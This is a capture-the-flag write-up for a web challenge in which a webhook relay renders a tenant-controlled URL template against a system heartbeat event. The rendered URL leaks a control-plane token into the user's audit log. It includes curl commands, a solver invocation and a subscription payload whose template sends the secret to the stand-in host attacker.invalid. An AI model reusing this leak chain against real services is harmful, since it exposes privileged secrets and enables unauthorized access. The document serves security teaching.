~/labs/ctf/fluid-attacks-latam-2026-2/crosstalk
CrosstalkHookRelay routes your webhook events to whichever endpoints you've subscribed. You get a regular user account on a shared tenant; the compliance auditors keep a flag somewhere on the control plane.
Metadata
| Field | Value |
|---|---|
| Category | web |
| Difficulty | Hard |
| Points | 100 |
| Solves | 84 |
| First Blood | simown |
Challenge Description
HookRelay routes your webhook events to whichever endpoints you've subscribed.
You get a regular user account on a shared tenant; the compliance auditors keep
a flag somewhere on the control plane.
Target used during validation:
https://fc277307fd1994c6.chal.ctf.ae
The archive password was:
infected
Artifacts
The provided archive contains a small Flask service:
public.zip
public/app.py
public/requirements.txt
public/hookrelay/app.py
public/hookrelay/auth.py
public/hookrelay/audit.py
public/hookrelay/config.py
public/hookrelay/control.py
public/hookrelay/dispatch.py
public/hookrelay/events.py
public/hookrelay/jwt_verify.py
public/hookrelay/keys.py
public/hookrelay/legacy.py
public/hookrelay/subscriptions.py
public/hookrelay/templating.py
Additional artifacts produced during the solve:
solve_crosstalk.py
assets/01_register.json
assets/02_subscription.json
assets/03_last_audit_poll.json
assets/04_heartbeat_leak.json
assets/05_control_plane.json
I did not include browser screenshots for this challenge because the useful surface is the source code plus JSON API responses. The visual page is not where the vulnerable state appears; the evidence is the tenant audit record that contains the rendered callback URL.
Recon
I started by inspecting the ZIP before making assumptions from the challenge name:
zipinfo public.zip
Relevant output:
Archive: public.zip
Zip file size: 11644 bytes, number of entries: 15
app.py
hookrelay/app.py
hookrelay/audit.py
hookrelay/auth.py
hookrelay/config.py
hookrelay/control.py
hookrelay/dispatch.py
hookrelay/events.py
hookrelay/jwt_verify.py
hookrelay/legacy.py
hookrelay/subscriptions.py
hookrelay/templating.py
requirements.txt
The application factory in public/hookrelay/app.py registers five blueprints:
auth, audit, control, legacy, and subscriptions (public/hookrelay/app.py:14 to
public/hookrelay/app.py:18). That gave me the first API map:
/api/auth/register
/api/v2/subscriptions
/api/v2/audit/dispatches
/api/v2/admin/control
/graphql
/api/public-key
/api/admin/flag
/api/v1/legacy/search
I also checked that the remote behaved like the shipped Flask app. The challenge
certificate was expired when I validated it, so I used -k only to ignore TLS
certificate validation:
curl -k -sS https://fc277307fd1994c6.chal.ctf.ae/health
Output:
ok
The flag-bearing endpoint was not directly accessible:
curl -k -sS https://fc277307fd1994c6.chal.ctf.ae/api/v2/admin/control
Output:
{"error":"Missing X-Heartbeat-Token header"}
At this point the security boundary was clear enough to continue:
normal user JWT -> subscription and audit APIs
internal heartbeat token -> v2 control plane
I confirmed the normal-user boundary by registering a user:
curl -k -sS -X POST \
https://fc277307fd1994c6.chal.ctf.ae/api/auth/register \
-H 'Content-Type: application/json' \
-d '{"username":"ctk_readme_probe"}'
Representative output:
{
"user_id": "usr_4af37aed26c5",
"token": "<RS256 user JWT>"
}
Then I searched for the important terms that connected the routes to secrets, rendering, and logs:
rg -n "FLAG|HEARTBEAT|control|audit|render|url_template|session_nonce|HS256|sqlite" public
Relevant hits:
public/hookrelay/config.py:11:HEARTBEAT_TOKEN = secrets.token_hex(24)
public/hookrelay/control.py:17: if not hmac.compare_digest(token, HEARTBEAT_TOKEN):
public/hookrelay/control.py:20: "flag": FLAG,
public/hookrelay/events.py:63: "continuation_id": HEARTBEAT_TOKEN,
public/hookrelay/audit.py:60: rendered = render(sub["url_template"], event)
public/hookrelay/audit.py:67: "rendered_url": rendered,
public/hookrelay/audit.py:72:@bp.route("/api/v2/audit/dispatches", methods=["GET"])
public/hookrelay/subscriptions.py:40: url_template = body.get("url_template", "")
public/hookrelay/templating.py:26:def render(template: str, ctx) -> str:
public/hookrelay/jwt_verify.py:14:SUPPORTED_ALGORITHMS = ["RS256", "HS256"]
public/hookrelay/legacy.py:191: nonce = payload.get("session_nonce")
This search produced two tracks. The legacy code looked suspicious because the
JWT verifier supports both RS256 and HS256, and the legacy routes expose a
public key. I checked that path first because JWT algorithm confusion is a
common CTF pattern. However, it did not match the final objective:
/api/v2/admin/controldoes not read a JWT at all; it only checksX-Heartbeat-Token(public/hookrelay/control.py:14topublic/hookrelay/control.py:18)./api/admin/flagis the deprecated v1 endpoint and does not return the real flag even after its checks (public/hookrelay/legacy.py:175topublic/hookrelay/legacy.py:199).- The v1 endpoint also requires a
session_nonceminted by the GraphQL PIN flow (public/hookrelay/legacy.py:191topublic/hookrelay/legacy.py:195), so a forged token alone is not a complete path.
The more interesting track was the relationship between the heartbeat token, webhook URL templates, and the tenant audit log.
Vulnerability
The vulnerability is sensitive-token exposure through tenant-visible audit
logging. A user-controlled webhook url_template is rendered against a
system-internal heartbeat event, and the rendered URL is stored in the same
user’s readable audit feed.
The reasoning was not “the token is in the code, therefore solved.” I followed the source-to-sink chain:
public/hookrelay/config.py:11createsHEARTBEAT_TOKENwithsecrets.token_hex(24).public/hookrelay/control.py:12topublic/hookrelay/control.py:20shows that/api/v2/admin/controlreturns the flag only when the request supplies that token inX-Heartbeat-Token.public/hookrelay/events.py:54topublic/hookrelay/events.py:72builds asystem.heartbeatevent every 60 seconds and places the same token atactor.context.continuation_id.public/hookrelay/subscriptions.py:32topublic/hookrelay/subscriptions.py:70lets any normal user create a subscription with an arbitrary HTTPSurl_template.public/hookrelay/templating.py:9andpublic/hookrelay/templating.py:26show that templates can read dotted paths from the event context, such as{{actor.context.continuation_id}}.public/hookrelay/audit.py:51topublic/hookrelay/audit.py:69renders each subscription’surl_templateagainst the system event and stores the resultingrendered_url.public/hookrelay/audit.py:72topublic/hookrelay/audit.py:79exposes the logged dispatches back to the subscription owner.
The key design mistake is that record_system_broadcast() treats a privileged
system event as safe input to a tenant-controlled template, then stores the
rendered result in a tenant-readable log. That breaks the intended boundary:
normal users should be able to audit platform health events, but they should
not be able to project internal control-plane tokens into their own logs.
This matches a well-known class of issues. CWE-532 covers writing sensitive
information into logs, and OWASP’s Logging Cheat Sheet explicitly warns that
access tokens, encryption keys, and primary secrets should not be recorded
directly in logs. The twist in this challenge is that the secret is not logged
by a normal logger.info() call; it is copied into the log through webhook
template rendering.
Exploitation
The exploit chain is:
- Register a normal user and receive a user JWT.
- Create a subscription whose
url_templatecontains{{actor.context.continuation_id}}. - Wait for the next
system.heartbeatevent. - Read
/api/v2/audit/dispatchesas the same user. - Extract the 48-hex-character heartbeat token from
rendered_url. - Replay it to
/api/v2/admin/controlasX-Heartbeat-Token.
The malicious subscription is valid because the server only enforces that the
callback starts with https:// and that the filter is one of the allowed values:
{
"name": "heartbeat-leak",
"url_template": "https://attacker.invalid/hb/{{actor.context.continuation_id}}",
"filter": "user.*"
}
The filter value does not need to match system.heartbeat. That is an
important detail: normal dispatches are filtered in public/hookrelay/dispatch.py,
but record_system_broadcast() intentionally iterates all subscriptions for SLA
auditability, regardless of the subscription filter.
I used the final solver like this:
python3 solve_crosstalk.py --insecure --evidence-dir assets \
https://fc277307fd1994c6.chal.ctf.ae
Output:
[+] Registering normal user: ctk_1783383062_8yqni5za
[+] Creating subscription with a URL template that references the event context
[+] Polling tenant audit log until a system.heartbeat row is rendered
[+] Leaked heartbeat token: fb6de08af8dc20842150be3175bbbbe05b2b08e2c1260d1e
[+] Calling the control-plane endpoint with X-Heartbeat-Token
{
"endpoint": "control_plane",
"flag": "flag{5ce5a5149e5e4dca}",
"version": "v2"
}
The created subscription evidence is saved in assets/02_subscription.json:
{
"created_at": 1783383063,
"filter": "user.*",
"id": "sub_7e02ad14928f",
"name": "heartbeat-leak",
"url_template": "https://attacker.invalid/hb/{{actor.context.continuation_id}}"
}
The audit leak is saved in assets/04_heartbeat_leak.json:
{
"event_type": "system.heartbeat",
"owner": "usr_2377b26bc87f",
"rendered_url": "https://attacker.invalid/hb/fb6de08af8dc20842150be3175bbbbe05b2b08e2c1260d1e",
"status": "system_broadcast",
"subscription_id": "sub_7e02ad14928f",
"subscription_name": "heartbeat-leak",
"timestamp": 1783383108.9736044
}
The final control-plane response is saved in assets/05_control_plane.json:
{
"endpoint": "control_plane",
"flag": "flag{5ce5a5149e5e4dca}",
"version": "v2"
}
Technical Details
The custom template engine is intentionally simple:
_TOKEN = re.compile(r"\{\{\s*([A-Za-z0-9_.]+)\s*\}\}")
def render(template: str, ctx) -> str:
return _TOKEN.sub(lambda m: _resolve(m.group(1), ctx), template)
It only resolves dotted paths; this is not server-side template injection with code execution. The exploit works because the renderer is given a sensitive context object.
For a normal synthetic user event, this template:
https://attacker.invalid/hb/{{actor.context.continuation_id}}
would render as:
https://attacker.invalid/hb/
because normal events do not contain actor.context.continuation_id. For the
heartbeat event, the context contains:
{
"type": "system.heartbeat",
"actor": {
"role": "system",
"context": {
"continuation_id": "<HEARTBEAT_TOKEN>"
}
}
}
so the same template becomes:
https://attacker.invalid/hb/<HEARTBEAT_TOKEN>
The exploit does not depend on outbound HTTP delivery. public/hookrelay/dispatch.py
states that outbound delivery is disabled in the CTF sandbox and that the audit
row is the canonical dispatch record. That is why reading the audit log is
enough.
The bug can be fixed at several layers:
- Do not include
HEARTBEAT_TOKENin tenant-auditable event objects. - Do not render tenant-controlled templates against privileged system events.
- Store an unrendered or redacted callback reference in audit logs for system broadcasts.
- Treat tokens and control-plane material as non-loggable secrets.
Exploit Artifact
solve_crosstalk.py is a dependency-free Python script using only the standard
library. It implements the exact chain:
register user
create malicious subscription
poll audit log
extract token from rendered_url
call control plane with X-Heartbeat-Token
save JSON evidence
Usage:
python3 solve_crosstalk.py --insecure --evidence-dir assets \
https://fc277307fd1994c6.chal.ctf.ae
If the certificate is valid in the review environment, remove --insecure.
Validation
Script syntax check:
python3 -m py_compile solve_crosstalk.py
Remote exploit validation:
python3 solve_crosstalk.py --insecure --evidence-dir assets \
https://fc277307fd1994c6.chal.ctf.ae
Result:
flag{5ce5a5149e5e4dca}
Evidence files were written under assets/:
01_register.json
02_subscription.json
03_last_audit_poll.json
04_heartbeat_leak.json
05_control_plane.json
References
- https://cwe.mitre.org/data/definitions/532.html
- https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html
- https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/10-Business_Logic_Testing/README
Flag
flag{5ce5a5149e5e4dca}